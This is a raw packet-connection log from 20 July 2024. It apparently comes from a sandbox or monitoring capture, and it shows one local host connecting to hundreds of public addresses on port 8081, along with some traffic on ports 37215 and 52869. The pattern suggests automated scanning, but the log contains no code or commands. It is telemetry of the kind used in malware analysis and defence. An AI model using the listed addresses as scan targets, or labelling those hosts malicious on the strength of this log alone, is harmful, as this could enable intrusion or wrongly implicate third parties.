Jul 20, 2024 23:10:39.207672119 CEST	58768	8081	192.168.2.15	75.112.86.168
Jul 20, 2024 23:10:39.207672119 CEST	58768	8081	192.168.2.15	27.224.149.73
Jul 20, 2024 23:10:39.207672119 CEST	58768	8081	192.168.2.15	182.246.164.201
Jul 20, 2024 23:10:39.207739115 CEST	80	45620	88.50.60.166	192.168.2.15
Jul 20, 2024 23:10:39.208092928 CEST	52869	41184	67.65.153.119	192.168.2.15
Jul 20, 2024 23:10:39.208802938 CEST	52869	41872	67.65.153.119	192.168.2.15
Jul 20, 2024 23:10:39.209024906 CEST	58768	8081	192.168.2.15	20.5.214.198
Jul 20, 2024 23:10:39.209024906 CEST	58768	8081	192.168.2.15	122.77.60.168
Jul 20, 2024 23:10:39.209024906 CEST	58768	8081	192.168.2.15	90.137.11.109
Jul 20, 2024 23:10:39.209026098 CEST	58768	8081	192.168.2.15	95.221.214.117
Jul 20, 2024 23:10:39.209026098 CEST	58768	8081	192.168.2.15	81.178.118.162
Jul 20, 2024 23:10:39.209026098 CEST	58768	8081	192.168.2.15	181.182.179.165
Jul 20, 2024 23:10:39.209026098 CEST	58768	8081	192.168.2.15	155.129.112.254
Jul 20, 2024 23:10:39.209026098 CEST	58768	8081	192.168.2.15	201.72.116.164
Jul 20, 2024 23:10:39.209312916 CEST	8081	33622	44.42.9.48	192.168.2.15
Jul 20, 2024 23:10:39.209326982 CEST	52869	60444	23.180.240.118	192.168.2.15
Jul 20, 2024 23:10:39.209340096 CEST	52869	43136	204.13.73.202	192.168.2.15
Jul 20, 2024 23:10:39.209467888 CEST	37215	36400	197.37.162.85	192.168.2.15
Jul 20, 2024 23:10:39.209722042 CEST	58768	8081	192.168.2.15	67.180.176.63
Jul 20, 2024 23:10:39.209722042 CEST	58768	8081	192.168.2.15	209.63.57.7
Jul 20, 2024 23:10:39.209722042 CEST	58768	8081	192.168.2.15	220.94.26.63
Jul 20, 2024 23:10:39.209722042 CEST	58768	8081	192.168.2.15	198.83.254.138
Jul 20, 2024 23:10:39.209722042 CEST	58768	8081	192.168.2.15	165.138.82.28
Jul 20, 2024 23:10:39.209722042 CEST	58768	8081	192.168.2.15	75.58.82.96
Jul 20, 2024 23:10:39.209722042 CEST	58768	8081	192.168.2.15	165.188.24.88
Jul 20, 2024 23:10:39.209839106 CEST	58768	8081	192.168.2.15	221.45.25.203
Jul 20, 2024 23:10:39.209839106 CEST	58768	8081	192.168.2.15	107.144.56.245
Jul 20, 2024 23:10:39.209839106 CEST	58768	8081	192.168.2.15	155.96.106.156
Jul 20, 2024 23:10:39.209839106 CEST	58768	8081	192.168.2.15	213.49.5.173
Jul 20, 2024 23:10:39.209839106 CEST	58768	8081	192.168.2.15	37.64.58.219
Jul 20, 2024 23:10:39.209839106 CEST	58768	8081	192.168.2.15	162.240.138.154
Jul 20, 2024 23:10:39.209840059 CEST	58768	8081	192.168.2.15	123.234.26.29
Jul 20, 2024 23:10:39.209840059 CEST	58768	8081	192.168.2.15	193.151.102.123
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	150.131.20.193
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	155.24.242.180
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	203.70.99.117
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	124.226.40.119
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	164.84.4.254
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	76.252.197.227
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	174.119.215.103
Jul 20, 2024 23:10:39.209976912 CEST	58768	8081	192.168.2.15	54.171.123.24
Jul 20, 2024 23:10:39.210869074 CEST	80	57976	88.5.185.118	192.168.2.15
Jul 20, 2024 23:10:39.210937023 CEST	52869	39438	108.128.208.18	192.168.2.15
Jul 20, 2024 23:10:39.211488962 CEST	8081	58768	114.245.174.75	192.168.2.15
Jul 20, 2024 23:10:39.211922884 CEST	58768	8081	192.168.2.15	157.129.193.209
Jul 20, 2024 23:10:39.211922884 CEST	58768	8081	192.168.2.15	135.47.203.19
Jul 20, 2024 23:10:39.211922884 CEST	58768	8081	192.168.2.15	217.69.19.234
Jul 20, 2024 23:10:39.211922884 CEST	58768	8081	192.168.2.15	51.181.244.44
Jul 20, 2024 23:10:39.211922884 CEST	58768	8081	192.168.2.15	176.221.201.66
Jul 20, 2024 23:10:39.212013006 CEST	8081	58768	170.228.217.76	192.168.2.15
Jul 20, 2024 23:10:39.212027073 CEST	8081	58768	54.209.77.50	192.168.2.15
Jul 20, 2024 23:10:39.212464094 CEST	8081	58768	8.112.162.4	192.168.2.15
Jul 20, 2024 23:10:39.212742090 CEST	8081	58768	80.97.7.64	192.168.2.15
Jul 20, 2024 23:10:39.212755919 CEST	8081	58768	120.183.122.12	192.168.2.15
Jul 20, 2024 23:10:39.213311911 CEST	52869	51080	85.126.23.91	192.168.2.15
Jul 20, 2024 23:10:39.213397980 CEST	8081	58768	220.181.161.245	192.168.2.15
Jul 20, 2024 23:10:39.213479042 CEST	8081	58768	191.227.67.230	192.168.2.15
Jul 20, 2024 23:10:39.213768959 CEST	8081	58768	37.184.101.252	192.168.2.15
Jul 20, 2024 23:10:39.213957071 CEST	8081	58768	49.120.198.129	192.168.2.15
Jul 20, 2024 23:10:39.214036942 CEST	58768	8081	192.168.2.15	211.53.253.20
Jul 20, 2024 23:10:39.214036942 CEST	58768	8081	192.168.2.15	44.145.37.227
Jul 20, 2024 23:10:39.214036942 CEST	58768	8081	192.168.2.15	52.38.91.115
Jul 20, 2024 23:10:39.214037895 CEST	58768	8081	192.168.2.15	80.37.79.188
Jul 20, 2024 23:10:39.214037895 CEST	58768	8081	192.168.2.15	204.155.158.191
Jul 20, 2024 23:10:39.214037895 CEST	58768	8081	192.168.2.15	157.36.76.133
Jul 20, 2024 23:10:39.214037895 CEST	58768	8081	192.168.2.15	143.128.190.99
Jul 20, 2024 23:10:39.214037895 CEST	58768	8081	192.168.2.15	202.81.141.222
Jul 20, 2024 23:10:39.214292049 CEST	8081	58768	139.220.168.61	192.168.2.15
Jul 20, 2024 23:10:39.214446068 CEST	58768	8081	192.168.2.15	144.21.19.46
Jul 20, 2024 23:10:39.214446068 CEST	58768	8081	192.168.2.15	54.202.204.139
Jul 20, 2024 23:10:39.214446068 CEST	58768	8081	192.168.2.15	213.206.141.33
Jul 20, 2024 23:10:39.214446068 CEST	58768	8081	192.168.2.15	221.106.180.159
Jul 20, 2024 23:10:39.214446068 CEST	58768	8081	192.168.2.15	203.247.124.161
Jul 20, 2024 23:10:39.214446068 CEST	58768	8081	192.168.2.15	9.198.80.174
Jul 20, 2024 23:10:39.214447021 CEST	58768	8081	192.168.2.15	162.122.220.48
Jul 20, 2024 23:10:39.214447021 CEST	58768	8081	192.168.2.15	167.74.102.224
Jul 20, 2024 23:10:39.214520931 CEST	8081	58768	119.166.242.218	192.168.2.15
Jul 20, 2024 23:10:39.215096951 CEST	8081	58768	142.24.97.125	192.168.2.15
Jul 20, 2024 23:10:39.215212107 CEST	8081	58768	45.72.32.96	192.168.2.15
Jul 20, 2024 23:10:39.215245008 CEST	8081	58768	85.18.159.112	192.168.2.15
Jul 20, 2024 23:10:39.215260983 CEST	8081	58768	50.108.60.245	192.168.2.15
Jul 20, 2024 23:10:39.215279102 CEST	8081	58768	150.131.20.193	192.168.2.15
Jul 20, 2024 23:10:39.215293884 CEST	8081	58768	111.218.64.251	192.168.2.15
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	110.121.226.248
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	205.4.101.70
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	99.240.96.69
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	48.207.239.190
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	17.209.242.181
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	86.119.199.229
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	59.206.196.24
Jul 20, 2024 23:10:39.215630054 CEST	58768	8081	192.168.2.15	53.30.127.58
Jul 20, 2024 23:10:39.215802908 CEST	8081	58768	20.5.214.198	192.168.2.15
Jul 20, 2024 23:10:39.215852976 CEST	8081	58768	216.154.234.35	192.168.2.15
Jul 20, 2024 23:10:39.216531992 CEST	8081	58768	122.77.60.168	192.168.2.15
Jul 20, 2024 23:10:39.216559887 CEST	8081	58768	194.120.113.11	192.168.2.15
Jul 20, 2024 23:10:39.216919899 CEST	8081	58768	90.137.11.109	192.168.2.15
Jul 20, 2024 23:10:39.217725039 CEST	8081	58768	112.198.235.11	192.168.2.15
Jul 20, 2024 23:10:39.217859983 CEST	8081	58768	146.57.189.179	192.168.2.15
Jul 20, 2024 23:10:39.217891932 CEST	8081	58768	157.129.193.209	192.168.2.15
Jul 20, 2024 23:10:39.217905045 CEST	8081	58768	134.120.231.164	192.168.2.15
Jul 20, 2024 23:10:39.218015909 CEST	8081	58768	135.47.203.19	192.168.2.15
Jul 20, 2024 23:10:39.218029976 CEST	8081	58768	95.221.214.117	192.168.2.15
Jul 20, 2024 23:10:39.218043089 CEST	8081	58768	217.69.19.234	192.168.2.15
Jul 20, 2024 23:10:39.218564034 CEST	8081	58768	155.24.242.180	192.168.2.15
Jul 20, 2024 23:10:39.218586922 CEST	8081	58768	140.27.22.191	192.168.2.15
Jul 20, 2024 23:10:39.218636990 CEST	8081	58768	51.181.244.44	192.168.2.15
Jul 20, 2024 23:10:39.219125986 CEST	8081	58768	75.112.86.168	192.168.2.15
Jul 20, 2024 23:10:39.219255924 CEST	8081	58768	176.221.201.66	192.168.2.15
Jul 20, 2024 23:10:39.219275951 CEST	8081	58768	27.224.149.73	192.168.2.15
Jul 20, 2024 23:10:39.219336033 CEST	58768	8081	192.168.2.15	196.214.135.247
Jul 20, 2024 23:10:39.219336033 CEST	58768	8081	192.168.2.15	84.57.181.43
Jul 20, 2024 23:10:39.219336033 CEST	58768	8081	192.168.2.15	191.85.161.208
Jul 20, 2024 23:10:39.219336033 CEST	58768	8081	192.168.2.15	154.141.6.155
Jul 20, 2024 23:10:39.219336033 CEST	58768	8081	192.168.2.15	2.37.158.191
Jul 20, 2024 23:10:39.219336033 CEST	58768	8081	192.168.2.15	12.194.81.37
Jul 20, 2024 23:10:39.219336033 CEST	33622	8081	192.168.2.15	44.42.9.48
Jul 20, 2024 23:10:39.219336033 CEST	58768	8081	192.168.2.15	85.18.159.112
Jul 20, 2024 23:10:39.219504118 CEST	8081	58768	211.53.253.20	192.168.2.15
Jul 20, 2024 23:10:39.219645023 CEST	8081	58768	182.246.164.201	192.168.2.15
Jul 20, 2024 23:10:39.219659090 CEST	8081	58768	44.145.37.227	192.168.2.15
Jul 20, 2024 23:10:39.219933033 CEST	8081	58768	221.45.25.203	192.168.2.15
Jul 20, 2024 23:10:39.220114946 CEST	8081	58768	203.70.99.117	192.168.2.15
Jul 20, 2024 23:10:39.220284939 CEST	58768	8081	192.168.2.15	86.151.157.46
Jul 20, 2024 23:10:39.220284939 CEST	58768	8081	192.168.2.15	162.250.102.97
Jul 20, 2024 23:10:39.220284939 CEST	58768	8081	192.168.2.15	170.228.217.76
Jul 20, 2024 23:10:39.220284939 CEST	58768	8081	192.168.2.15	120.183.122.12
Jul 20, 2024 23:10:39.220284939 CEST	58768	8081	192.168.2.15	191.227.67.230
Jul 20, 2024 23:10:39.220284939 CEST	58768	8081	192.168.2.15	216.154.234.35
Jul 20, 2024 23:10:39.220284939 CEST	58768	8081	192.168.2.15	194.120.113.11
Jul 20, 2024 23:10:39.220365047 CEST	8081	58768	144.21.19.46	192.168.2.15
Jul 20, 2024 23:10:39.220427990 CEST	58768	8081	192.168.2.15	77.208.94.121
Jul 20, 2024 23:10:39.220427990 CEST	58768	8081	192.168.2.15	109.69.35.42
Jul 20, 2024 23:10:39.220428944 CEST	58768	8081	192.168.2.15	85.153.221.70
Jul 20, 2024 23:10:39.220428944 CEST	58768	8081	192.168.2.15	202.244.141.178
Jul 20, 2024 23:10:39.220428944 CEST	58768	8081	192.168.2.15	101.242.207.38
Jul 20, 2024 23:10:39.220428944 CEST	58768	8081	192.168.2.15	203.76.242.184
Jul 20, 2024 23:10:39.220428944 CEST	58768	8081	192.168.2.15	223.103.38.175
Jul 20, 2024 23:10:39.220428944 CEST	58768	8081	192.168.2.15	197.221.179.102
Jul 20, 2024 23:10:39.220463991 CEST	8081	58768	124.226.40.119	192.168.2.15
Jul 20, 2024 23:10:39.220819950 CEST	58768	8081	192.168.2.15	200.217.37.44
Jul 20, 2024 23:10:39.220819950 CEST	58768	8081	192.168.2.15	121.47.152.23
Jul 20, 2024 23:10:39.220819950 CEST	58768	8081	192.168.2.15	140.63.165.190
Jul 20, 2024 23:10:39.220819950 CEST	58768	8081	192.168.2.15	49.57.123.231
Jul 20, 2024 23:10:39.220819950 CEST	58768	8081	192.168.2.15	145.237.73.236
Jul 20, 2024 23:10:39.220819950 CEST	58768	8081	192.168.2.15	63.253.212.219
Jul 20, 2024 23:10:39.220819950 CEST	57976	80	192.168.2.15	88.5.185.118
Jul 20, 2024 23:10:39.220820904 CEST	58768	8081	192.168.2.15	220.181.161.245
Jul 20, 2024 23:10:39.220849991 CEST	8081	58768	204.78.89.216	192.168.2.15
Jul 20, 2024 23:10:39.220887899 CEST	8081	58768	164.84.4.254	192.168.2.15
Jul 20, 2024 23:10:39.221086979 CEST	8081	58768	34.85.91.68	192.168.2.15
Jul 20, 2024 23:10:39.221185923 CEST	8081	58768	76.252.197.227	192.168.2.15
Jul 20, 2024 23:10:39.221199989 CEST	52869	38544	191.96.230.47	192.168.2.15
Jul 20, 2024 23:10:39.221348047 CEST	8081	58768	110.121.226.248	192.168.2.15
Jul 20, 2024 23:10:39.221376896 CEST	8081	58768	52.38.91.115	192.168.2.15
Jul 20, 2024 23:10:39.221391916 CEST	8081	58768	54.202.204.139	192.168.2.15
Jul 20, 2024 23:10:39.221911907 CEST	8081	58768	81.178.118.162	192.168.2.15
Jul 20, 2024 23:10:39.221935034 CEST	8081	58768	80.37.79.188	192.168.2.15
Jul 20, 2024 23:10:39.222234011 CEST	8081	58768	205.4.101.70	192.168.2.15
Jul 20, 2024 23:10:39.222635984 CEST	8081	58768	107.144.56.245	192.168.2.15
Jul 20, 2024 23:10:39.222927094 CEST	8081	58768	174.119.215.103	192.168.2.15
Jul 20, 2024 23:10:39.222942114 CEST	8081	58768	181.182.179.165	192.168.2.15
Jul 20, 2024 23:10:39.223788023 CEST	8081	58768	213.206.141.33	192.168.2.15
Jul 20, 2024 23:10:39.223810911 CEST	8081	58768	155.129.112.254	192.168.2.15
Jul 20, 2024 23:10:39.224282980 CEST	8081	58768	221.106.180.159	192.168.2.15
Jul 20, 2024 23:10:39.225164890 CEST	8081	58768	204.155.158.191	192.168.2.15
Jul 20, 2024 23:10:39.225186110 CEST	52869	35130	32.169.224.65	192.168.2.15
Jul 20, 2024 23:10:39.225208998 CEST	52869	36118	197.208.47.186	192.168.2.15
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	49.120.198.129
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	20.5.214.198
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	122.77.60.168
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	90.137.11.109
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	95.221.214.117
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	81.178.118.162
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	181.182.179.165
Jul 20, 2024 23:10:39.225853920 CEST	58768	8081	192.168.2.15	155.129.112.254
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	112.198.235.11
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	157.129.193.209
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	135.47.203.19
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	217.69.19.234
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	51.181.244.44
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	176.221.201.66
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	211.53.253.20
Jul 20, 2024 23:10:39.226151943 CEST	58768	8081	192.168.2.15	44.145.37.227
Jul 20, 2024 23:10:39.227125883 CEST	52869	38954	208.102.27.6	192.168.2.15
Jul 20, 2024 23:10:39.227222919 CEST	8081	58768	203.247.124.161	192.168.2.15
Jul 20, 2024 23:10:39.227583885 CEST	58768	8081	192.168.2.15	115.86.54.28
Jul 20, 2024 23:10:39.227585077 CEST	58768	8081	192.168.2.15	186.105.21.21
Jul 20, 2024 23:10:39.227585077 CEST	58768	8081	192.168.2.15	218.25.226.21
Jul 20, 2024 23:10:39.227585077 CEST	58768	8081	192.168.2.15	38.47.240.167
Jul 20, 2024 23:10:39.227585077 CEST	58768	8081	192.168.2.15	191.21.233.53
Jul 20, 2024 23:10:39.227585077 CEST	58768	8081	192.168.2.15	83.176.156.123
Jul 20, 2024 23:10:39.227585077 CEST	58768	8081	192.168.2.15	172.233.99.211
Jul 20, 2024 23:10:39.227585077 CEST	58768	8081	192.168.2.15	166.246.107.32
Jul 20, 2024 23:10:39.227710009 CEST	58768	8081	192.168.2.15	193.42.35.46
Jul 20, 2024 23:10:39.227710009 CEST	58768	8081	192.168.2.15	48.55.222.201
Jul 20, 2024 23:10:39.227710009 CEST	58768	8081	192.168.2.15	216.169.198.251
Jul 20, 2024 23:10:39.227710009 CEST	58768	8081	192.168.2.15	40.229.32.90
Jul 20, 2024 23:10:39.227710009 CEST	58768	8081	192.168.2.15	2.91.236.22
Jul 20, 2024 23:10:39.227710009 CEST	54880	37215	192.168.2.15	41.160.200.207
Jul 20, 2024 23:10:39.227710009 CEST	58768	8081	192.168.2.15	216.149.235.69
Jul 20, 2024 23:10:39.227710009 CEST	58768	8081	192.168.2.15	162.109.141.154
Jul 20, 2024 23:10:39.228346109 CEST	8081	58768	157.36.76.133	192.168.2.15
Jul 20, 2024 23:10:39.228429079 CEST	58768	8081	192.168.2.15	150.131.20.193
Jul 20, 2024 23:10:39.228429079 CEST	58768	8081	192.168.2.15	155.24.242.180
Jul 20, 2024 23:10:39.228429079 CEST	58768	8081	192.168.2.15	203.70.99.117
Jul 20, 2024 23:10:39.228429079 CEST	58768	8081	192.168.2.15	124.226.40.119
Jul 20, 2024 23:10:39.228429079 CEST	58768	8081	192.168.2.15	164.84.4.254
Jul 20, 2024 23:10:39.228429079 CEST	58768	8081	192.168.2.15	76.252.197.227
Jul 20, 2024 23:10:39.228429079 CEST	58768	8081	192.168.2.15	174.119.215.103
Jul 20, 2024 23:10:39.229710102 CEST	8081	58768	54.171.123.24	192.168.2.15
Jul 20, 2024 23:10:39.229906082 CEST	8081	58768	99.240.96.69	192.168.2.15
Jul 20, 2024 23:10:39.229981899 CEST	8081	58768	155.96.106.156	192.168.2.15
Jul 20, 2024 23:10:39.230165005 CEST	8081	58768	9.198.80.174	192.168.2.15
Jul 20, 2024 23:10:39.230179071 CEST	8081	58768	143.128.190.99	192.168.2.15
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	80.97.7.64
Jul 20, 2024 23:10:39.230359077 CEST	8081	58768	162.122.220.48	192.168.2.15
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	37.184.101.252
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	139.220.168.61
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	146.57.189.179
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	134.120.231.164
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	140.27.22.191
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	75.112.86.168
Jul 20, 2024 23:10:39.230357885 CEST	58768	8081	192.168.2.15	27.224.149.73
Jul 20, 2024 23:10:39.230426073 CEST	8081	58768	202.81.141.222	192.168.2.15
Jul 20, 2024 23:10:39.230966091 CEST	8081	58768	167.74.102.224	192.168.2.15
Jul 20, 2024 23:10:39.231054068 CEST	8081	58768	201.72.116.164	192.168.2.15
Jul 20, 2024 23:10:39.231070042 CEST	8081	58768	196.214.135.247	192.168.2.15
Jul 20, 2024 23:10:39.231158018 CEST	8081	58768	48.207.239.190	192.168.2.15
Jul 20, 2024 23:10:39.231975079 CEST	8081	58768	77.208.94.121	192.168.2.15
Jul 20, 2024 23:10:39.231988907 CEST	8081	58768	200.217.37.44	192.168.2.15
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	80.140.241.249
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	17.198.189.203
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	90.110.141.240
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	167.130.64.172
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	64.193.14.246
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	178.161.51.79
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	206.10.0.127
Jul 20, 2024 23:10:39.232119083 CEST	58768	8081	192.168.2.15	59.137.64.138
Jul 20, 2024 23:10:39.232403994 CEST	8081	58768	213.49.5.173	192.168.2.15
Jul 20, 2024 23:10:39.233006001 CEST	8081	58768	67.180.176.63	192.168.2.15
Jul 20, 2024 23:10:39.233094931 CEST	8081	58768	86.151.157.46	192.168.2.15
Jul 20, 2024 23:10:39.233098984 CEST	58768	8081	192.168.2.15	201.72.116.164
Jul 20, 2024 23:10:39.233098984 CEST	58768	8081	192.168.2.15	200.217.37.44
Jul 20, 2024 23:10:39.233108997 CEST	8081	58768	121.47.152.23	192.168.2.15
Jul 20, 2024 23:10:39.233122110 CEST	8081	58768	84.57.181.43	192.168.2.15
Jul 20, 2024 23:10:39.233170033 CEST	52869	41986	102.119.6.178	192.168.2.15
Jul 20, 2024 23:10:39.233185053 CEST	52869	48776	134.116.6.133	192.168.2.15
Jul 20, 2024 23:10:39.233196974 CEST	52869	46572	77.64.253.97	192.168.2.15
Jul 20, 2024 23:10:39.233252048 CEST	58768	8081	192.168.2.15	52.38.91.115
Jul 20, 2024 23:10:39.233252048 CEST	58768	8081	192.168.2.15	80.37.79.188
Jul 20, 2024 23:10:39.233252048 CEST	58768	8081	192.168.2.15	204.155.158.191
Jul 20, 2024 23:10:39.233252048 CEST	58768	8081	192.168.2.15	157.36.76.133
Jul 20, 2024 23:10:39.233252048 CEST	58768	8081	192.168.2.15	143.128.190.99
Jul 20, 2024 23:10:39.233252048 CEST	58768	8081	192.168.2.15	202.81.141.222
Jul 20, 2024 23:10:39.233252048 CEST	58768	8081	192.168.2.15	86.151.157.46
Jul 20, 2024 23:10:39.233326912 CEST	8081	58768	162.250.102.97	192.168.2.15
Jul 20, 2024 23:10:39.233375072 CEST	8081	58768	140.63.165.190	192.168.2.15
Jul 20, 2024 23:10:39.233968973 CEST	58768	8081	192.168.2.15	121.47.152.23
Jul 20, 2024 23:10:39.233968973 CEST	58768	8081	192.168.2.15	140.63.165.190
Jul 20, 2024 23:10:39.234174013 CEST	8081	58768	49.57.123.231	192.168.2.15
Jul 20, 2024 23:10:39.234219074 CEST	8081	58768	191.85.161.208	192.168.2.15
Jul 20, 2024 23:10:39.234455109 CEST	8081	58768	73.249.125.177	192.168.2.15
Jul 20, 2024 23:10:39.234533072 CEST	8081	58768	37.64.58.219	192.168.2.15
Jul 20, 2024 23:10:39.234546900 CEST	8081	58768	209.63.57.7	192.168.2.15
Jul 20, 2024 23:10:39.234734058 CEST	8081	58768	154.141.6.155	192.168.2.15
Jul 20, 2024 23:10:39.234746933 CEST	8081	58768	162.240.138.154	192.168.2.15
Jul 20, 2024 23:10:39.234775066 CEST	8081	58768	2.37.158.191	192.168.2.15
Jul 20, 2024 23:10:39.234787941 CEST	8081	58768	145.237.73.236	192.168.2.15
Jul 20, 2024 23:10:39.235573053 CEST	8081	58768	63.253.212.219	192.168.2.15
Jul 20, 2024 23:10:39.235586882 CEST	8081	58768	12.194.81.37	192.168.2.15
Jul 20, 2024 23:10:39.235599041 CEST	8081	58768	143.227.33.242	192.168.2.15
Jul 20, 2024 23:10:39.235614061 CEST	8081	58768	109.69.35.42	192.168.2.15
Jul 20, 2024 23:10:39.235761881 CEST	8081	58768	123.234.26.29	192.168.2.15
Jul 20, 2024 23:10:39.235774994 CEST	8081	58768	175.233.252.99	192.168.2.15
Jul 20, 2024 23:10:39.235788107 CEST	8081	58768	85.153.221.70	192.168.2.15
Jul 20, 2024 23:10:39.237102985 CEST	58768	8081	192.168.2.15	49.57.123.231
Jul 20, 2024 23:10:39.237102985 CEST	58768	8081	192.168.2.15	145.237.73.236
Jul 20, 2024 23:10:39.237102985 CEST	58768	8081	192.168.2.15	63.253.212.219
Jul 20, 2024 23:10:39.237957954 CEST	58768	8081	192.168.2.15	162.250.102.97
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	182.246.164.201
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	144.21.19.46
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	54.202.204.139
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	213.206.141.33
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	221.106.180.159
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	203.247.124.161
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	9.198.80.174
Jul 20, 2024 23:10:39.238106012 CEST	58768	8081	192.168.2.15	162.122.220.48
Jul 20, 2024 23:10:39.238537073 CEST	8081	58768	202.244.141.178	192.168.2.15
Jul 20, 2024 23:10:39.238567114 CEST	8081	58768	193.151.102.123	192.168.2.15
Jul 20, 2024 23:10:39.238579988 CEST	8081	58768	17.124.213.182	192.168.2.15
Jul 20, 2024 23:10:39.238606930 CEST	8081	58768	193.42.35.46	192.168.2.15
Jul 20, 2024 23:10:39.238620996 CEST	8081	58768	101.242.207.38	192.168.2.15
Jul 20, 2024 23:10:39.238643885 CEST	8081	58768	203.76.242.184	192.168.2.15
Jul 20, 2024 23:10:39.238672972 CEST	8081	58768	223.103.38.175	192.168.2.15
Jul 20, 2024 23:10:39.238686085 CEST	8081	58768	115.86.54.28	192.168.2.15
Jul 20, 2024 23:10:39.238713026 CEST	8081	58768	17.209.242.181	192.168.2.15
Jul 20, 2024 23:10:39.238725901 CEST	8081	58768	197.221.179.102	192.168.2.15
Jul 20, 2024 23:10:39.238738060 CEST	8081	58768	86.119.199.229	192.168.2.15
Jul 20, 2024 23:10:39.238760948 CEST	8081	58768	220.94.26.63	192.168.2.15
Jul 20, 2024 23:10:39.238775015 CEST	8081	58768	59.206.196.24	192.168.2.15
Jul 20, 2024 23:10:39.238791943 CEST	8081	58768	48.55.222.201	192.168.2.15
Jul 20, 2024 23:10:39.238805056 CEST	8081	58768	198.83.254.138	192.168.2.15
Jul 20, 2024 23:10:39.238817930 CEST	8081	58768	216.169.198.251	192.168.2.15
Jul 20, 2024 23:10:39.238881111 CEST	8081	58768	165.138.82.28	192.168.2.15
Jul 20, 2024 23:10:39.239058018 CEST	8081	58768	53.30.127.58	192.168.2.15
Jul 20, 2024 23:10:39.239151955 CEST	58768	8081	192.168.2.15	218.118.75.214
Jul 20, 2024 23:10:39.239151955 CEST	58768	8081	192.168.2.15	182.128.89.82
Jul 20, 2024 23:10:39.239151955 CEST	58768	8081	192.168.2.15	9.172.90.82
Jul 20, 2024 23:10:39.239151955 CEST	58768	8081	192.168.2.15	147.16.221.49
Jul 20, 2024 23:10:39.239151955 CEST	58768	8081	192.168.2.15	53.115.209.77
Jul 20, 2024 23:10:39.239151955 CEST	58768	8081	192.168.2.15	88.206.32.33
Jul 20, 2024 23:10:39.239151955 CEST	58768	8081	192.168.2.15	139.116.62.177
Jul 20, 2024 23:10:39.239152908 CEST	58768	8081	192.168.2.15	178.59.186.183
Jul 20, 2024 23:10:39.239419937 CEST	8081	58768	186.105.21.21	192.168.2.15
Jul 20, 2024 23:10:39.239522934 CEST	8081	58768	75.58.82.96	192.168.2.15
Jul 20, 2024 23:10:39.240408897 CEST	8081	58768	80.140.241.249	192.168.2.15
Jul 20, 2024 23:10:39.240758896 CEST	8081	58768	218.25.226.21	192.168.2.15
Jul 20, 2024 23:10:39.241240978 CEST	52869	40426	143.77.32.144	192.168.2.15
Jul 20, 2024 23:10:39.241255999 CEST	52869	53962	189.107.255.223	192.168.2.15
Jul 20, 2024 23:10:39.242039919 CEST	8081	58768	17.198.189.203	192.168.2.15
Jul 20, 2024 23:10:39.242055893 CEST	8081	58768	40.229.32.90	192.168.2.15
Jul 20, 2024 23:10:39.242166042 CEST	58768	8081	192.168.2.15	79.34.158.34
Jul 20, 2024 23:10:39.242166042 CEST	58768	8081	192.168.2.15	185.21.118.11
Jul 20, 2024 23:10:39.242166042 CEST	36400	37215	192.168.2.15	197.37.162.85
Jul 20, 2024 23:10:39.242166042 CEST	58768	8081	192.168.2.15	114.245.174.75
Jul 20, 2024 23:10:39.242166042 CEST	58768	8081	192.168.2.15	8.112.162.4
